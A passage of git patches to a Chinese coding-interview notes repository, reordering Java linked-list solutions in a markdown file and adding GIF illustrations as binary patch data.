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
H>dyZH<x1c<

literal 0
HcmV?d00001


From ebe84d53837a6a2ce7833a1eb092f6f5e36d6a4e Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 10:12:13 +0800
Subject: [PATCH 040/100] auto commit

---
 docs/notes/剑指 offer 题解.md | 50 +++++++++++++----------------------
 1 file changed, 19 insertions(+), 31 deletions(-)

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 1184cb0e..709bbb98 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,7 +1,5 @@
 [🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
-* [1. 前言](#1-前言)
-* [2. 实现 Singleton](#2-实现-singleton)
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
 * [5. 替换空格](#5-替换空格)
@@ -82,16 +80,6 @@
 <!-- GFM-TOC -->
 
 
-# 1. 前言
-
-本文内容可在微信小程序中阅读：
-
-<div align="center"> <img src="pics/gh_a68199af85d6_258_20_282_29.jpg"/> </div><br>
-
-# 2. 实现 Singleton
-
-[单例模式](设计模式.md)
-
 # 3. 数组中重复的数字
 
 [NowCoder](https://www.nowcoder.com/practice/623a5ac0ea5b4e5f95552655361ae0a8?tpId=13&tqId=11203&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
@@ -250,24 +238,6 @@ public String replaceSpace(StringBuffer str) {
 
 ## 解题思路
 
-### 使用栈
-
-<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif" width="500px"> </div><br>
-
-```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    Stack<Integer> stack = new Stack<>();
-    while (listNode != null) {
-        stack.add(listNode.val);
-        listNode = listNode.next;
-    }
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (!stack.isEmpty())
-        ret.add(stack.pop());
-    return ret;
-}
-```
-
 ### 使用递归
 
 <div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif" width="200px"> </div><br>
@@ -292,7 +262,7 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 - 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
 - 第一个节点就是链表的第一个真正存储值的节点。
 
-<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif"/> </div><br>
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif" width="300px"> </div><br>
 
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
@@ -315,6 +285,24 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
+### 使用栈
+
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif" width="500px"> </div><br>
+
+```java
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    Stack<Integer> stack = new Stack<>();
+    while (listNode != null) {
+        stack.add(listNode.val);
+        listNode = listNode.next;
+    }
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (!stack.isEmpty())
+        ret.add(stack.pop());
+    return ret;
+}
+```
+
 # 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)

From 9a17550ef78b2d1a9ecd0948055e880524eca27f Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Thu, 24 Jan 2019 10:20:27 +0800
Subject: [PATCH 041/100] auto commit

---
 ...CE_u5C3E_u5230_u5934_u6253_1548296249372.gif | Bin 0 -> 20480 bytes
 docs/notes/剑指 offer 题解.md                   |   2 +-
 ...CE_u5C3E_u5230_u5934_u6253_1548296249372.gif | Bin 0 -> 20480 bytes
 3 files changed, 1 insertion(+), 1 deletion(-)
 create mode 100644 docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif
 create mode 100644 docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif

diff --git a/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif b/docs/notes/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548296249372.gif
new file mode 100644
index 0000000000000000000000000000000000000000..61c506c9a12fb5c4a5f5cae914d5591de1e9700a
GIT binary patch
literal 20480
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
